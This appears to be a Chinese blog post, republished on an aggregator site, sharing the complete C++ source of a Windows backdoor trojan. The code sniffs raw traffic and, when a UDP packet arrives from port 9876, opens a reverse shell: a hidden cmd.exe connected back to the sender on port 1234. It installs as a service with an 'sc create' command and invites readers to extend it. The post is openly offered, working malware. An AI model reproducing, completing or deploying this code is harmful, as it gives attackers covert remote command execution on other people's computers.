headerf.h

這里面放了公共函數(shù)，還有一些聲明

代碼

#ifndef _BDH_ #define _BDH_ #include <winsock2.h> #include <windows.h> #include <stdio.h> #include <stdlib.h> #pragma comment(lib,"ws2_32.lib") #define SIO_RCVALL ?_WSAIOW(IOC_VENDOR,1) typedef struct _iphdr{ unsigned char h_lenver; unsigned char tos; unsigned short total_len; unsigned short ident; unsigned short frag_and_frag; unsigned char ttl; unsigned char proto; unsigned short checksum; unsigned int sourceIP; unsigned int destIP; }IP_HEADER; typedef struct _udphdr{ unsigned short uh_sport; unsigned short uh_dport; unsigned short uh_len; unsigned short uh_sum; }UDP_HEADER; extern int StartSniffer(); extern void StartWSA(); extern void returnMessage(SOCKET *Sock,char *msg); extern void CreatePipeInSock(); extern int SetSocketHandle(SOCKET *Sock); extern int ContoReServer(SOCKET *sock, unsigned short port, char *reAddr); #endif

這里就是sniffer...這個sniffer只解析IP和UDP包。。。通過對UDP的解析來啟動木馬進(jìn)程.
對于UDP解析來啟動木馬這塊還沒有怎么完善。只是很簡單的。。。等待大家來補充了。。

最好解析UDP來提取內(nèi)容。判斷用戶名。密碼。然后啟動木馬進(jìn)程
sniffer.cpp

代碼

#include "headerf.h" //--------------------------------------------------------------------------- //----------------------------- char rcvbuf[65535]; SOCKADDR_IN siSource; extern SOCKET ReSock; char SourceIPAddr[16]; unsigned short SourcePort; bool CanCon=true; char WelcomeBuff[200] = "++++++++++++++++++++++++++++++++++++/r/n" ? "+EasyService ?BackDoor/r/n" ? "+Coder By weibo(wbwap@sina.com)/r/n" ? "+Site ?http://www.s8s8.net/r/n" ? "++++++++++++++++++++++++++++++++++++/r/n"; //----------------------------- void DecodeIpPack(char *buf,int irec); void DecodeUdpPack(char *buf,unsigned int buflen); int msGetip(char *ipin, char* ipout); void StartBackDoor(SOCKET *Sock,char *IPaddr); //------------------------------ int StartSniffer() { ? ? ? ?SOCKET SniffSock; ? ? ? ?struct sockaddr_in addr; ? ? ? ?unsigned char LocalName[256]; ? ? ? ?struct hostent * hp; ? ? ? ?int ntime=1000; ? ? ? ?int rec; ? ? ? ?DWORD dwBufferLen[10]; ? ? ? ?DWORD dwBufferInLen = 1; ? ? ? ?DWORD dwBytesReturned = 0; ? ? ? ?char in[20]="",out[20]=""; ? ? ? ?StartWSA(); ? ? ? ?SniffSock = socket(AF_INET,SOCK_RAW,IPPROTO_IP); ? ? ? ?setsockopt(SniffSock,SOL_SOCKET,SO_RCVTIMEO,(char*)&ntime,sizeof(ntime)); ? ? ? ?addr.sin_family = AF_INET; ? ? ? ?addr.sin_port = INADDR_ANY; ? ? ? ?msGetip(in,out); ? ? ? ?addr.sin_addr.S_un.S_addr = inet_addr(out); ? ? ? ?bind(SniffSock,(PSOCKADDR)&addr, sizeof(addr)); ? ? ? ?WSAIoctl(SniffSock,SIO_RCVALL,&dwBufferInLen,sizeof(dwBufferInLen),&dwBufferLen,sizeof(dwBufferLen),&dwBytesReturned ,NULL ,NULL); ? ? ? ?while(1) ? ? ? ?{ ? ? ? ? ? ? ? ?memset(rcvbuf,0,sizeof(rcvbuf)); ? ? ? ? ? ? ? ?rec = recv(SniffSock,rcvbuf,sizeof(rcvbuf),0); ? ? ? ? ? ? ? ?DecodeIpPack(rcvbuf,rec); ? ? ? ?} } //--------------------------------------------------------------------------- void DecodeIpPack(char *buf,int irec) { ? ? ? ?int iproto; ? ? ? ?int iIphlen; ? ? ? ?IP_HEADER *pIPheader; ? ? ? ?pIPheader = (IP_HEADER *)buf; ? ? ? ?iproto=pIPheader->proto; ? ? ? ?iIphlen = sizeof(unsigned long) * (pIPheader->h_lenver & 0xf); ? ? ? ?if (iproto == IPPROTO_UDP) ? ? ? ?{ ? ? ? ? ? ? ? ?siSource.sin_addr.s_addr = pIPheader->sourceIP; ? ? ? ? ? ? ? ?strncpy(SourceIPAddr,inet_ntoa(siSource.sin_addr),16); ? ? ? ? ? ? ? ?//printf("包類型:%s/n源IP:%s ? ","UDP",SourceIPAddr); ? ? ? ? ? ? ? ?DecodeUdpPack(buf+iIphlen,irec); ? ? ? ?} } void DecodeUdpPack(char *buf,unsigned int buflen) { ? ? ? ?char str[10]; ? ? ? ?UDP_HEADER *pUdpheader; ? ? ? ?pUdpheader=(UDP_HEADER *)buf; ? ? ? ?siSource.sin_port = pUdpheader->uh_sport; ? ? ? ?SourcePort=ntohs(siSource.sin_port); //這個地方就是判斷是否啟動進(jìn)程的地方！！！！！！！！！！！！！！！！！！！ //這里是 如果塬端口為9876 才會起動木馬進(jìn)程。。連接你的1234斷口 ? 這些都可以改 //最好的方法是Decode UDP包。。然后分析內(nèi)容。。。作判斷是否打開木馬。。。。 //沒時間了。。。。 ? ? ? ?if(CanCon) ? ? ? ?{ ? ? ? ? ? ? ? ?if(SourcePort == 9876) ? ? ? ? ? ? ? ?{ ? ? ? ? ? ? ? ? ? ? ? ?StartBackDoor(&ReSock,SourceIPAddr); ? ? ? ? ? ? ? ?} ? ? ? ? ? ? ? ?CanCon=false; ? ? ? ?} } int msGetip(char *ipin, char* ipout) { ? char cHostName[80]=""; ? if((gethostname(cHostName, 80)) == SOCKET_ERROR) ? ? ? return false; ? struct hostent *Host = gethostbyname(cHostName); ? if(NULL!=Host){ ? ? ? struct in_addr addr; ? ? ? int i = 0; ? ? ? while(Host->h_addr_list[i] != NULL){ ? ? ? ? ? memcpy(&addr, Host->h_addr_list[i], sizeof(addr)); ? ? ? ? ? if(addr.S_un.S_un_b.s_b1 == 192 && addr.S_un.S_un_b.s_b2 == 168){ ? ? ? ? ? ? ? if(strlen(ipin) == 0){ ? ? ? ? ? ? ? ? ? strcpy(ipin, inet_ntoa(addr)); ? ? ? ? ? ? ? } ? ? ? ? ? }else if(addr.S_un.S_un_b.s_b1 == 172 && (addr.S_un.S_un_b.s_b2 >= 16 && addr.S_un.S_un_b.s_b2 <= 131)){ ? ? ? ? ? ? ? if(strlen(ipin) == 0){ ? ? ? ? ? ? ? ? ? strcpy(ipin, inet_ntoa(addr)); ? ? ? ? ? ? ? } ? ? ? ? ? }else if(addr.S_un.S_un_b.s_b1 == 10 ){ ? ? ? ? ? ? ? if(strlen(ipin) == 0){ ? ? ? ? ? ? ? ? ? strcpy(ipin, inet_ntoa(addr)); ? ? ? ? ? ? ? } ? ? ? ? ? }else{ ? ? ? ? ? ? ? if(strlen(ipout) == 0){ ? ? ? ? ? ? ? ? ? strcpy(ipout, inet_ntoa(addr)); ? ? ? ? ? ? ? } ? ? ? ? ? } ? ? ? ? ? i++; ? ? ? } ? ? ? if(strlen(ipout) == 0) { ? ? ? ? ? strcpy(ipout, ipin); ? ? ? } ? ? ? if(strlen(ipin) == 0){ ? ? ? ? ? strcpy(ipin, ipout); ? ? ? } ? ? ? return 1; ? } ? return 0; } void StartBackDoor(SOCKET *Sock,char *IPaddr) { ? ? ? ?int rec; //StartWSA(); ? ? ? ?SetSocketHandle(Sock); ? ? ? ?rec = ContoReServer(Sock,1234,IPaddr); ? ? ? ?returnMessage(Sock,WelcomeBuff); ? ? ? ?CreatePipeInSock(); switch(rec) { ?case 0: ? closesocket(ReSock); ? CanCon = true; ? break; ?case 1: ? CanCon = false; ? break; } }

這就是服務(wù)的主體。。。。。。。

本來還有個自動加為服務(wù)的功能。。。沒時間了，馬上走了。收拾東西去。。~~~~ZV來寫吧。。。。
可以用 CreateService()函數(shù)。。
服務(wù)這塊需要大家來改進(jìn)~~

con.cpp

代碼

#include "headerf.h" //--------------------------------------------------------------------------- STARTUPINFO si; PROCESS_INFORMATION pi; SOCKET ReSock; //------------------------------- //--------------------------- void StartWSA() { ? ? ? ?WSADATA wsa; ? ? ? ? ? ? ? ?WSAStartup(MAKEWORD(2,2),&wsa); } int ContoReServer(SOCKET *sock, unsigned short port, char *reAddr) { ? int namelen; ? struct sockaddr_in server_addr; ? server_addr.sin_family = AF_INET; ? server_addr.sin_port ? = htons(port); ? server_addr.sin_addr.S_un.S_addr = inet_addr(reAddr); ? namelen = sizeof(server_addr); ? if(connect(*sock, (SOCKADDR *)&server_addr,namelen) < 0 ) ? ? ? return 0; ? return 1; } int SetSocketHandle(SOCKET *Sock) { ? *Sock = WSASocket(PF_INET,SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); ? if(*Sock == SOCKET_ERROR) ? ? ? return 0; ? return 1; } void returnMessage(SOCKET *Sock,char *msg) { ? if (strlen(msg) <= 0) ? ? ? return; ? send(*Sock,msg,strlen(msg),0); } //下面這個是重訂向si到Resock....等于一個簡單的管道。。 //沒太多時間。為了省事。。能實現(xiàn)cmd. //最好能改寫成管道CreatePipe().. //這樣可以對數(shù)據(jù)進(jìn)行分析。。以便加入別的控制。。。。。。 void CreatePipeInSock() { ? ? ? ?memset(&si, 0, sizeof(si)); ? ? ? ?si.cb = sizeof(si); ? ? ? ?si.dwFlags = STARTF_USESHOWWINDOW+STARTF_USESTDHANDLES; ? ? ? ?si.wShowWindow=SW_HIDE; ? ? ? ?si.hStdInput = si.hStdOutput = si.hStdError = (void *)ReSock; ? ? ? ?CreateProcess(NULL,"cmd.exe",NULL,NULL, TRUE, 0,0, NULL, &si, &pi ); }

backdoor.cpp

代碼

#include "headerf.h" //--------------------------------------------------------------------------- const int c_nEventCt = 3; const int c_nEventIndexPause = 0; const int c_nEventIndexContinue = 1; const int c_nEventIndexStop = 2; HANDLE g_arEventControl[c_nEventCt]; SERVICE_STATUS_HANDLE g_ssh; DWORD g_dwStatus = SERVICE_STOPPED; #pragma argsused //服務(wù)狀態(tài)給SCM void SetStatus(DWORD dwStatus) { ? ? ? ?SERVICE_STATUS ss = ? ? ? ? ? ? ? ?{ ? ? ? ? ? ? ? ? ? ? ? ?SERVICE_WIN32_OWN_PROCESS, ? ? ? ? ? ? ? ? ? ? ? ?SERVICE_STOPPED, ? ? ? ? ? ? ? ? ? ? ? ?SERVICE_ACCEPT_PAUSE_CONTINUE| ? ? ? ? ? ? ? ? ? ? ? ?SERVICE_ACCEPT_STOP, ? ? ? ? ? ? ? ? ? ? ? ?NO_ERROR, ? ? ? ? ? ? ? ? ? ? ? ?0, ? ? ? ? ? ? ? ? ? ? ? ?1, ? ? ? ? ? ? ? ? ? ? ? ?5000 ? ? ? ? ? ? ? ?}; ? ? ? ?ss.dwCurrentState = dwStatus; ? ? ? ?SetServiceStatus(g_ssh,&ss); ? ? ? ?g_dwStatus = dwStatus; } //命令處理 VOID __stdcall Handler(DWORD dwCtl) { ? ? ? ?switch(dwCtl) ? ? ? ?{ ? ? ? ? ? ? ? ?case SERVICE_CONTROL_STOP: ? ? ? ? ? ? ? ? ? ? ? WSACleanup(); ? ? ? ? ? ? ? ? ? ? ? ?break; ? ? ? ? ? ? ? ?default: ? ? ? ? ? ? ? ? ? ? ? ?//nomal ? ? ? ? ? ? ? ? ? ? ? ?break; ? ? ? ?} } bool HandleControl() { ? ? ? ?bool bContinueRunning(true); ? ? ? ?DWORD dwWait = WaitForMultipleObjects( ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?c_nEventCt, ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?g_arEventControl, ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?FALSE, ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?0 ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?); ? ? ? ?int nIndex = dwWait - WAIT_OBJECT_0; ? ? ? ?if(nIndex>=0 && nIndex<c_nEventCt) ? ? ? ?{ ? ? ? ? ? ? ? ?ResetEvent(g_arEventControl[nIndex]); ? ? ? ? ? ? ? ?switch(nIndex) ? ? ? ? ? ? ? ?{ ? ? ? ? ? ? ? ? ? ? ? ?case c_nEventIndexPause: ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?SetStatus(SERVICE_PAUSED); ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?break; ? ? ? ? ? ? ? ? ? ? ? ?case c_nEventIndexContinue: ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?SetStatus(SERVICE_RUNNING); ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?break; ? ? ? ? ? ? ? ? ? ? ? ?case c_nEventIndexStop: ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?SetStatus(SERVICE_STOP_PENDING); ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?bContinueRunning = false; ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?break; ? ? ? ? ? ? ? ?} ? ? ? ?} ? ? ? ?return (bContinueRunning); } VOID __stdcall ServiceMain(DWORD dwArgc,LPSTR* lpszArgv) { ? ? ? ?g_arEventControl[c_nEventIndexPause] = CreateEvent(NULL,TRUE,FALSE,NULL); ? ? ? ?g_arEventControl[c_nEventIndexContinue] = CreateEvent(NULL,TRUE,FALSE,NULL); ? ? ? ?g_arEventControl[c_nEventIndexStop] = CreateEvent(NULL,TRUE,FALSE,NULL); ? ? ? ?g_ssh = RegisterServiceCtrlHandler(lpszArgv[0],Handler); ? ? ? ?SetStatus(SERVICE_START_PENDING); ? ? ? ?SetStatus(SERVICE_RUNNING); ? ? ? ?while(HandleControl()) ? ? ? ?{ ? ? ? ? ? ? ? ?if(g_dwStatus == SERVICE_RUNNING) ? ? ? ? ? ? ? ?{ ? ? ? ? ? ? ? ? ? ? ? ?StartSniffer(); ? ? ? ? ? ? ? ?} ? ? ? ?} ? ? ? ?for(int nEvent = 0;nEvent < c_nEventCt;++nEvent) ? ? ? ?{ ? ? ? ? ? ? ? ?CloseHandle(g_arEventControl[nEvent]); ? ? ? ? ? ? ? ?g_arEventControl[nEvent] = INVALID_HANDLE_VALUE; ? ? ? ?} ? ? ? ?SetStatus(SERVICE_STOPPED); } int __stdcall WinMain( ? ? ? ? ? ? ? ? ? ? ? ?HINSTANCE hInstance, ? ? ? ? ? ? ? ? ? ? ? ?HINSTANCE hPrevInstance, ? ? ? ? ? ? ? ? ? ? ? ?LPSTR lpszCmdLine, ? ? ? ? ? ? ? ? ? ? ? ?int nCmdShow ? ? ? ? ? ? ? ? ? ? ? ?) { ? ? ? ?SERVICE_TABLE_ENTRY arSvc[] = ? ? ? ?{ ? ? ? ? ? ? ? ?{"ConEvent",ServiceMain}, ? ? ? ? ? ? ? ?{NULL,NULL} ? ? ? ?}; ? ? ? ?StartServiceCtrlDispatcher(arSvc); return 0; }

手動加為服務(wù)

編譯好后
進(jìn)入cmd

運行 sc create 隨便一個名字 binpath= path

例子: sc create BackDoor binpath= c:/backdoor.exe


這個很草。。。。。。等我度過軍訓(xùn)。有時間了。。回來再寫~~~~88


附件是我用bcb6寫的。。。

總結(jié)

以上是生活随笔為你收集整理的headerf.h的全部內(nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯，歡迎將生活随笔推薦給好友。